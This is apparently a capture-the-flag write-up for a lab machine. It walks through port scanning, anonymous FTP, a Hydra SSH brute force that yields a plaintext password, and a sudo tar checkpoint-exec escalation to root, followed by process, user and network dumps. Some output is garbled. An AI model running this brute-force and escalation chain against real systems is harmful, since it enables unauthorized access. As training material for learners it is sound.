

Enumeration

Enumeration NMAP

sudo nmap -A -p- -sV -sS 10.10.32.151

Starting Nmap 7.92 (https://nmap.org) at 2022-06-17 05:06 EDT

Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 6.40% done; ETC: 05:17 (0:10:00 remaining) Stats: 0:02:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan

SYN Stealth Scan Timing: About 24.84% done; ETC: 05:16 (0:07:25 remaining)

Nmap scan report for 10.10.32.151 (10.10.32.151)

Host is up (0.055s latency).

Not shown: 55529 filtered tcp ports (no-response), 10003 closed tcp ports (reset)

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3

I ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can't get directory listing: TIMEOUT

| ftp-syst: | STAT:

| FTP server status:

Connected to ::ffff:10.18.47.211

| Logged in as ftp

TYPE: ASCII

No session bandwidth limit

Session timeout in seconds is 300

Control connection is plain text

Data connections will be plain text

At session startup, client count was 4

vsFTPd 3.0.3 - secure, fast, stable

|_End of status

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)

256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)

|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-title: Site doesn't have a title (text/html).

|_http-server-header: Apache/2.4.18 (Ubuntu)

Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Infomir MAG-250 set-top box (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.1 (90%), Ubiquiti AirOS 5.5.9 (90%), Linux 5.0 -

5.4 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 49466/tcp)

HOP RTT ADDRESS

1 55.67 ms 10.18.0.1 (10.18.0.1)

2 58.35 ms 10.10.32.151 (10.10.32.151)

OS and Service detection performed. Please report any incorrect results at $\frac{https://nmap.org/submit/}{nmap.org/submit/}$. Nmap done: 1 IP address (1 host up) scanned in 445.39 seconds

Gobuster

Gobuster enumeración de directorios

```
(kali⊗ kali)-[~]
   gobuster dir -u http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                            http://10.10.32.151/
[+] Method:
                            GET
                            10
   Threads:
                            /usr/share/wordlists/dirb/common.txt
 +] Wordlist:
   Negative Status codes:
                            404
                            gobuster/3.1.0
[+] User Agent:
[+] Timeout:
                            10s
2022/06/17 06:03:31 Starting gobuster in directory enumeration mode
/.hta
                      (Status: 403) [Size: 277]
                      (Status: 403) [Size: 277]
/.htaccess
/.htpasswd
                      (Status: 403) [Size: 277]
                      (Status: 301) [Size: 313] [→ http://10.10.32.151/images/]
/images
                     (Status: 200) [Size: 969]
/index.html
/server-status
                     (Status: 403) [Size: 277]
2022/06/17 06:03:58 Finished
```

No se han obtenido directorios interesantes en la enumeracion.

Dirb

Se han enumerado los directorios con la herramienta dirb sin obtener informacion relevante.

```
-(kali⊕kali)-[~]
style="font-size: 150;">
    dirb http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt -R

DIRB v2.22
By The Dark Raver
START TIME: Fri Jun 17 06:05:54 2022
URL BASE: http://10.10.32.151/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Interactive Recursion
OPTION: Not Stopping on warning messages
GENERATED WORDS: 4612
   - Scanning URL: http://10.10.32.151/
⇒ DIRECTORY: http://10.10.32.151/images/
+ http://10.10.32.151/index.html (CODE:200|SIZE:969)
+ http://10.10.32.151/server-status (CODE:403|SIZE:277)
  - Entering directory: http://10.10.32.151/images/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan it.
   (Use mode '-w' if you want to scan it anyway)
(?) Do you want to scan this directory (y/n)? y
→ Testing: http://10.10.32.151/images/.hta
END_TIME: Fri Jun 17 06:14:53 2022
DOWNLOADED: 9224 - FOUND: 2
```

Other Services

FTP

FTP Anonymous

Se tiene acceso al FTP con la sesion de Anonymous.

Al acceder nos encontramos dos archivos con extnsion .txt:

```
kali@kali)-[~/Desktop]
—$ ftp Anonymous@10.10.32.151
Connected to 10.10.32.151.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftn> 1s
229 Entering Extended Passive Mode (|||17662|)
ftp: Can't connect to `10.10.32.151:17662': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r--
           1 ftp
                      ftp
                                   418 Jun 07 2020 locks.txt
            1 ftp
                                    68 Jun 07 2020 task.txt
-rw-rw-r--
                      ftp
226 Directory send OK.
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
1.14 KiB/s
                                                                  68
                                                                                        00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.59 KiB/s)
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |************************
                                                                 418
                                                                           6.97 KiB/s
                                                                                        00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (3.36 KiB/s)
ftp>
```

Al mostrar los contenidos de los archivos podemos comprobar que el archivo task esta escrito por Lin y elarchivo locks nos proporciona una lista de lo que parecen ser contraseñas con esto podremos realizar un ataque hydra basandonos en el usuario lin y la lista locks.txt.

SSH

Al realizzar el ataque con hydra obtenemos la contraseña para acceder por SSH:

```
-(kali@kali)-[~/Desktop]
 <del>-$</del> hydra -l lin -P <u>locks.txt</u> ssh://10.10.32.151
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-17 05:43:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks
: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous ses
sion found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.32.151:22/
[22][ssh] host: 10.10.32.151 login: lin password: RedDr4 of 1 target successfully completed, 1 valid password found
                                             password: RedDr4gonSynd1cat3
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] Ø target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-17 05:43:16
```

Con los contraseña obtenida la utilizamos para acceder a traves de SSH:

```
(kali@kali)-[~/Desktop]
   ssh lin@10.10.32.151
The authenticity of host '10.10.32.151 (10.10.32.151)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.32.151' (ED25519) to the list of known hosts.
lin@10.10.32.151's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)
                   https://help.ubuntu.com
 * Documentation:
                   https://landscape.canonical.com
  Management:
* Support:
                   https://ubuntu.com/advantage
83 packages can be updated.
0 updates are security updates.
Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM
lin@bountyhacker:~/Desktop$
```

Aqui podremos obtener la primera flag de user.txt.

Exploitation

Una vez dentro del usuario lin podremos comprobar los permisos que tiene para realizar acciones de sudo:

```
lin@bountyhacker:/$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

Podemos ver que tiene la capacidad de usar /bin/tar

Con esto podremos realizar una escalada de privilegios para llegar a obtener la ultima bandera de esta maquina root.txt:

```
lin@bountyhacker:/$ cd root
-bash: cd: root: Permission denied
lin@bountyhacker:/$ ^C
lin@bountyhacker:/$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
THM
THM
# ...
```

Exploit Code Used

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Proof\Local.txt File

☑ Screenshot with ifconfig\ipconfig

```
# ifconfig
eth0
          Link encap:Ethernet HWaddr 02:80:91:b3:61:cb
          inet addr:10.10.32.151
                                  Bcast:10.10.255.255 Mask:255.255.0.0
          inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
         RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:10334493 (10.3 MB) TX bytes:1336151 (1.3 MB)
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536
                                          Metric:1
         RX packets:182 errors:0 dropped:0 overruns:0 frame:0
          TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
         RX bytes:14071 (14.0 KB) TX bytes:14071 (14.0 KB)
```

Post Exploitation

Host Information

Operating System

```
# lsb_release -d
Description: Ubuntu 16.04.6 LTS
#
```

Running Processes

Process List

Victoria de la companya del companya de la companya del companya de la companya d	2.42			W. S.	18000		1111111111		145.00	324M-742
USER		%CPU		VSZ		TTY		START		COMMAND
root	1	0.4		119840	5424		Ss	04:02		/sbin/init splash
root	2	0.0	0.0	0	0		S	04:02		[kthreadd]
root	4	0.0	0.0	0	0	?	I<	04:02		[kworker/0:0H]
root	6	0.0	0.0	0	0	?	I<	04:02		[mm_percpu_wq]
root	7	0.0	0.0	0	0	?	S	04:02		[ksoftirqd/0]
root	8	0.0	0.0	0	0	?	I	04:02		[rcu_sched]
root	9	0.0	0.0	0	0	?	I	04:02		[rcu_bh]
root	10	0.0	0.0	0	0	?	S	04:02		[migration/0]
root	11	0.0	0.0	0	0	?	S	04:02		[watchdog/0]
root	12	0.0	0.0	0	0	?	S	04:02		[cpuhp/0]
root	13	0.0	0.0	0	0	?	S	04:02		[kdevtmpfs]
root	14	0.0	0.0	0	0	?	1<	04:02		[netns]
root	15	0.0	0.0	0	0	?	S	04:02		[rcu_tasks_kthre]
root	16	0.0	0.0	0	0	?	S	04:02		[kauditd]
root	17	0.0	0.0	0	0	?	S	04:02		[xenbus]
root	18	0.0	0.0	0	0	?	S	04:02		[xenwatch]
root	20	0.0	0.0	0	0	?	S	04:02		[khungtaskd]
root	21	0.0	0.0	0	0	?	S	04:02		[oom_reaper]
root	22	0.0	0.0	0	0	?	1<	04:02		[writeback]
root	23	0.0	0.0	0	0	?	S	04:02		[kcompactd0]
root	24	0.0	0.0	0	0	?	SN	04:02		[ksmd]
root	25	0.0	0.0	0	0	?	1<	04:02		[crypto]
root	26	0.0	0.0	0	0	?	1<	04:02		[kintegrityd]
root	27	0.0	0.0	0	0	?	1<	04:02	0:00	[kblockd]
root	28	0.0	0.0	0	Ø	?	1<	04:02	0:00	[ata_sff]
root	29	0.0	0.0	0	0	?	I<	04:02	0:00	[md]
root	30	0.0	0.0	0	0	?	I<	04:02	0:00	[edac-poller]
root	31	0.0	0.0	0	0	?	I<	04:02	0:00	[devfreq_wq]
root	32	0.0	0.0	0	0	?	I<	04:02		[watchdogd]
root	35	0.0	0.0	0	0	?	S	04:03	0:00	[kswapd0]
root	36	0.0	0.0	0	Ø	?	I<	04:03	0:00	[kworker/u31:0]
root	37	0.0	0.0	0	Ø	?	S	04:03	0:00	[ecryptfs-kthrea]
root	79	0.0	0.0	0	0	?	I<	04:03	0:00	[kthrotld]
root	80	0.0	0.0	0	0	?	I<	04:03	0:00	[acpi_thermal_pm]
root	81	0.0	0.0	0	0	?	S	04:03	0:00	[scsi_eh_0]
root	82	0.0	0.0	0	0	? - 0 111	I<	04:03	0:00	[scsi_tmf_0]
root	83	0.0	0.0	0	0	?	S	04:03	0:00	[scsi_eh_1]
root	84	0.0	0.0	0	0	?	I<	04:03	0:00	[scsi_tmf_1]
root	90	0.0	0.0	0	0	?	1<	04:03	0:00	[ipv6_addrconf]
root	99	0.0	0.0	0	0	?	I<	04:03	0:00	[kstrp]
root	116	0.0	0.0	0	Ø	?	1<	04:03	0:00	[charger_manager]
root	174	0.0	0.0	0	0	?	I<	04:03		[ttm_swap]
root	200	0.0	0.0	0	0	?	S	04:03		[jbd2/xvda1-8]
root		0.0		0	0	?	I<	04:03		[ext4-rsv-conver]
root	211		0.0	0	0	?	I<	04:03		[kworker/0:1H]
root	243			27804	2884	?	Ss	04:03		/lib/systemd/systemd-journald
root	268			45344			Ss	04:03		/lib/systemd/systemd-udevd
systemd+	366			102384			Ssl	04:03		/lib/systemd/systemd-timesyncd
root	726		0.2		1248		Ss	04:03		/usr/sbin/acpid
root	727		0.6	28620	3024		Ss	04:03		/lib/systemd/systemd-logind
message+				43624	4096		Ss	04:03		/usr/bin/dbus-daemon —system —address=sy
9										,

```
0:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth
                       0.5
                                                          04:03
root
                  0.0
                             16128
                                     2852
                                                    Ss
root
            822
                  0.0
                       1.2
                            282948
                                     6032
                                                    Ssl
                                                          04:03
                                                                   0:00
                                                                        /usr/lib/accountsservice/accounts-daemon
            823
                            44912
                                                          04:03
                                                                   0:00 avahi-daemon: running [bountyhacker.local]
                 0.0
                       0.6
                                     3748
avahi
syslog
            824
                 0.0
                       0.5 256396
                                     2804 ?
                                                    Ssl
                                                          04:03
                                                                        /usr/sbin/rsyslogd -n
                       2.4 382356 12228
                                                    Ssl
                                                          04:03
root
            838
                 0.0
                                                                   0:01
                                                                        /usr/sbin/NetworkManager -- no-daemon
                                                                   0:00
            844
                 0.0
                       0.5
                            36076
                                     2924
                                                          04:03
                                                                        /usr/sbin/cron -f
root
            849
                 0.0
                       0.0
                            44784
                                      320
                                                          04:03
                                                                   0:00
                                                                        avahi-daemon: chroot helper
avahi
            927
                  0.0
                       1.5 278768
                                     7704
                                                    Ssl
                                                          04:03
                                                                        /usr/lib/policykit-1/polkitd -- no-debug
root
            952
                       1.2 350516
                                     5892
                                                    Ssl
                 0.0
                                                          04:03
                                                                   0:00
                                                                        /usr/sbin/lightdm
root
            977
                  0.0
                      10.5
                            337068
                                   51980
                                                    Ssl+ 04:03
                                                                        /usr/lib/xorg/Xorg -core :0 -seat seat0 -a
root
                                          ttv7
                                                                        /usr/sbin/vsftpd /etc/vsftpd.conf
            984
                       0.5
                             24048
                                     2588
                                                          04:03
root
                 0.0
                                                                   0:00
            993
                  0.0
                             65512
                                     5788
                                                          04:03
                                                                        /usr/sbin/sshd -D
root
                       1.1
                                                    Ss
                       1.8 269232
whoopsie
           1014
                 0.0
                                     8848
                                                    Ss1
                                                          04:04
                                                                   0:00
                                                                        /usr/bin/whoopsie -f
                                                                        /sbin/agetty -- noclear tty1 linux
/sbin/agetty -- keep-baud 115200 38400 9600
                                          tty1
           1032
                  0.0
                       0.3
                             23004
                                     1700
                                                    Ss+
                                                          04:04
                                                                   0:00
root
           1034
                             22820
                                                    Ss+
                                                          04:04
                                                                   0:00
root
                  0.0
                       0.4
                                     2212
                                          ttyS0
           1062
                  0.0
                       0.9
                             71584
                                     4864
                                                    Ss
                                                          04:04
                                                                        /usr/sbin/apache2 -k start
root
                                                    sl
                 0.0
                       1.2 226180
                                     6216
                                                          04:04
                                                                   0:00
                                                                        lightdm --session-child 16 19
           1131
root
lightdm
           1134
                  0.0
                       0.8
                             45300
                                     4352
                                                    Ss
                                                          04:04
                                                                        /lib/systemd/systemd -- user
lightdm
           1135
                 0.0
                       0.3
                             63456
                                     1676
                                                          04:04
                                                                   0:00
                                                                        (sd-pam)
                              4504
                                      844
                                                    Ss
                                                          04:04
                                                                        /bin/sh /usr/lib/lightdm/lightdm-greeter-s
lightdm
           1142
                  0.0
                       0.1
                       0.6
           1147
                 0.0
                             42992
                                     3284 ?
                                                    Ss
                                                          04:04
                                                                   0:00
                                                                        /usr/bin/dbus-daemon --fork --print-pid 5
lightdm
                  0.1
                            1027508
                                     61520 ?
                                                          04:04
                                                                         /usr/sbin/unity-greeter
lightdm
           1148
                                                                   0:07
                       1.1 337984
                                     5704 ?
                                                    51
                                                          04:04
                                                                        /usr/lib/at-spi2-core/at-spi-bus-launcher
lightdm
           1154
                 0.0
                                                                   0:00
                            42764
                                     3400
                                                          04:04
                                                                        /usr/bin/dbus-daemon -config-file=/etc/at
lightdm
           1164
                  0.0
                       0.6
           1181
                       1.0 206972
                                     5072
                                                          04:04
                                                                        /usr/lib/at-spi2-core/at-spi2-registryd --
                 0.0
                                                                   0:00
lightdm
lightdm
           1187
                  0.0
                       1.2
                            281484
                                     6140
                                                    sl
                                                          04:04
                                                                        /usr/lib/gvfs/gvfsd
                                                                        /usr/lib/gvfs/gvfsd-fuse /run/user/108/gvf
                       0.9
                                                          04:04
lightdm
           1192
                 0.0
                            341328
                                     4524
                                                                   0:00
                       0.9 178532
                                                    sl
                                                                        /usr/lib/dconf/dconf-service
lightdm
           1202
                  0.0
                                     4564
                                                          04:04
                       0.9
                                                                        lightdm -- session-child 12 19
upstart -- user -- startup-event indicator-s
root
           1207
                 0.0
                            82708
                                     4860 ?
                                                          04:04
                                                                   0:00
                                     4316
                                                          04:04
lightdm
           1210
                  0.0
                       0.8
                             53024
                       6.2 600740
                                                          04:04
                                                                   0:02 nm-applet
lightdm
                                   30784
           1212
                 0.0
                                                                        /usr/lib/x86_64-linux-gnu/indicator-messag
lightdm
           1217
                  0.0
                       1.3 361468
                                     6580
                                                    Ssl
                                                          04:04
                 0.0
                       0.8 414168
                                                    Ssl
                                     4136
                                                          04:04
                                                                   0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-blueto
lightdm
           1218
lightdm
           1219
                  0.0
                       1.5
                           427732
                                     7672
                                                    Ssl
                                                          04:04
                                                                        /usr/lib/x86_64-linux-gnu/indicator-power/
                                                                        /usr/lib/x86_64-linux-gnu/indicator-dateti
                       2.5
                                                    Ssl
                                                          04:04
lightdm
           1220
                 0.0
                            546888
                                   12660
                                                                   0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-keyboa
lightdm
           1221
                  0.0
                       5.8
                           570764 28552
                                                    Ssl
                                                          04:04
                       1.9 741996
lightdm
           1222
                 0.0
                                     9368
                                                    Ssl
                                                          04:04
                                                                   0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-sound/
                       4.9
lightdm
           1231
                  0.0
                           625984
                                   24288
                                                    sl
                                                          04:04
                                                                   0:01
                                                                        /usr/lib/unity-settings-daemon/unity-setti
                                                          04:04
                                                                   0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-sessio
lightdm
           1239
                 0.0
                       1.2 632248
                                    6280
                                                    Ssl
                       2.5 403148
                                                                        /usr/lib/x86_64-linux-gnu/indicator-applic
lightdm
           1257
                  0.0
                                   12676
                                                    Ssl
                                                          04:04
                                                          04:04
                       2.1 485016 10344
                                                    S<1
lightdm
           1267
                  0.0
                                                                   0:00
                                                                        /usr/bin/pulseaudio — start — log-target=s
                                                                        /usr/lib/rtkit/rtkit-daemon
/usr/lib/upower/upowerd
rtkit
           1268
                 0.0
                       0.6
                           183544
                                     3140
                                                    SNsl 04:04
                            345860
root
           1791
                 0.0
                       1.8
                                     9272
                                                    Ssl
                                                          04:04
                                                                   0:00
                                                                        /usr/lib/colord/colord
colord
           1302
                 0.0
                       2.0 308204
                                   10192
                                                    Ssl
                                                          04:04
www-data
           1450
                 0.0
                       0.9 492588
                                     4540
                                                    sl
                                                          04:08
                                                                   0:01
                                                                        /usr/sbin/apache2 -k start
                                                                        /usr/sbin/apache2 -k start
/usr/sbin/cupsd -l
www-data
           1451
                  0.0
                       0.8
                           558196
                                     4128
                                                    sl
                                                          04:08
                                                                   0:01
root
           1533
                 0.0
                       1.4
                           100348
                                     7148
                                                    Ss
                                                          04:08
                                                                   0:00
root
           1534
                  0.0
                       1.9
                           274816
                                     9364
                                                    Ssl
                                                          04:08
                                                                   0:00
                                                                        /usr/sbin/cups-browsed
root
           1827
                  0.0
                       0.0
                                 0
                                        0
                                                          04:18
                                                                   0:00
                                                                        [kworker/0:1]
           1834
                  0.0
                       0.0
                                 0
                                        0
                                                    Ι
                                                          04:19
                                                                   0:00
                                                                        [kworker/u30:2]
root
           1859
                                                          04:33
                                                                        [kworker/u30:1]
root
                  0.0
                       0.0
                                 0
                                        0
                                                    Ι
                                                                   0:00
           1950
                        0.0
                                          0
                                                             04:42
                  0.0
                                                                      0:00 [kworker/0:0]
root
                                                       Τ
           1958
root
                  0.0
                        1.3
                              94928
                                      6748 ?
                                                       Ss
                                                            04:44
                                                                      0:00 sshd: lin [priv]
lin
           1960
                              45300
                                                       Ss
                                                            04:44
                  0.0
                        0.9
                                      4544
                                                                      0:00 /lib/systemd/systemd --user
                                                                           (sd-pam)
           1961
                             145384
                                                            04:44
lin
                  0.0
                        0.3
                                      1864
                                                       S
                                                                      0:00
                                                            04:44
lin
           1990
                  0.0
                        0.7
                              94928
                                      3492
                                                       S
                                                                      0:00
                                                                           sshd: lin@pts/8
lin
           1991
                              29692
                  0.0
                        1.0
                                      5168 pts/8
                                                       Ss
                                                            04:44
                                                                      0:00 -bash
                                                                      0:00 sudo tar -cf /dev/null /dev/null --checkpo
root
           2013
                  0.0
                        0.8
                              61860
                                      4028 pts/8
                                                            04:56
root
           2014
                  0.0
                        0.6
                              36220
                                      3044 pts/8
                                                       s
                                                            04:56
                                                                      0:00 tar -cf /dev/null /dev/null --checkpoint=1
           2015
                  0.0
                        0.3
                               4504
                                                            04:56
                                      1584 pts/8
                                                                      0:00 /bin/sh
root
root
           2040
                  0.0
                        0.6
                              44432
                                      3360 pts/8
                                                       R+
                                                            05:20
                                                                      0:00 ps aux
```

Users & Groups

<u>Users</u>

```
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
lin:x:1001:1001:Lin,,,:/home/lin:/bin/bash
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

Groups

```
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:pulse
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:
crontab:x:107:
syslog:x:108:
netdev:x:109:
messagebus:x:110:
uuidd:x:111:
ssl-cert:x:112:
lpadmin:x:113:
lightdm:x:114:
nopasswdlogin:x:115:
ssh:x:116:
whoopsie:x:117:
mlocate:x:118:
avahi-autoipd:x:119:
avahi:x:120:
bluetooth:x:121:
scanner:x:122:saned
colord:x:123:
pulse:x:124:
pulse-access:x:125:
rtkit:x:126:
saned:x:127:
sambashare:x:128:
ftp:x:129:
lin:x:1001:
```

Network

IPConfig\IFConfig

```
# ifconfig
eth0
          Link encap:Ethernet HWaddr 02:80:91:b3:61:cb
         inet addr:10.10.32.151 Bcast:10.10.255.255 Mask:255.255.0.0
         inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
         RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
         TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
         RX bytes:10334493 (10.3 MB) TX bytes:1336151 (1.3 MB)
         Link encap:Local Loopback
lo
          inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536 Metric:1
         RX packets:182 errors:0 dropped:0 overruns:0 frame:0
         TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:14071 (14.0 KB) TX bytes:14071 (14.0 KB)
```

Network Processes

	2	946 - 1	(ESS)	2. //	Section 1	× W
	RefCnt		Type	State	I-Node	Path
	2	[]	DGRAM		27203	/run/user/1001/systemd/notify
unix	2	[]	DGRAM		21299	/run/user/108/systemd/notify
unix	3	[]	DGRAM		13887	/run/systemd/notify
unix	2	[]	DGRAM		13888	/run/systemd/cgroups-agent
	14	i j	DGRAM		13895	/run/systemd/journal/dev-log
unix	8	i j	DGRAM		13897	/run/systemd/journal/socket
unix	2	[]	DGRAM	100 House 200 Hours	13903	/run/systemd/journal/syslog
unix	3	[]	STREAM	CONNECTED	27233	
unix	3	[]	STREAM	CONNECTED	19356	
unix	3	[]	STREAM	CONNECTED	22036	
unix	3	[]	STREAM	CONNECTED	21588	THE PART OF THE PA
unix	3	[]	STREAM	CONNECTED	21836	/var/run/dbus/system_bus_socket
unix	3	[]	STREAM	CONNECTED	15738	
unix	3	[]	STREAM	CONNECTED	21590	TANK TANK TO TOTAL AND AND THE TOTAL
unix	3	[]	STREAM	CONNECTED	27187	/run/systemd/journal/stdout
unix	3	[]	STREAM	CONNECTED	21148	a/tmp/.X11-unix/X0
unix	2	[]	DGRAM		14478	
unix	3	[]	STREAM	CONNECTED	22099	
unix	3	[]	STREAM	CONNECTED	21580	
unix	2	[]	DGRAM		21290	
unix	3	[]	STREAM	CONNECTED	21439	
unix	3	[]	STREAM	CONNECTED	22241	
unix	3	[]	STREAM	CONNECTED	21591	a/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	18187	
unix	3	[]	STREAM	CONNECTED	22242	/var/run/dbus/system_bus_socket
unix	2	[]	DGRAM		21174	
unix	3	[]	STREAM	CONNECTED	21645	4250 AUVAN - W. SCANSIII
unix	3	Dh look	STREAM	CONNECTED	21398	a/tmp/dbus-pmtrmqSxLO
unix	3	[]	STREAM	CONNECTED	22128	er sametra en il
unix	3	[]	STREAM	CONNECTED	21831	ie garbage.
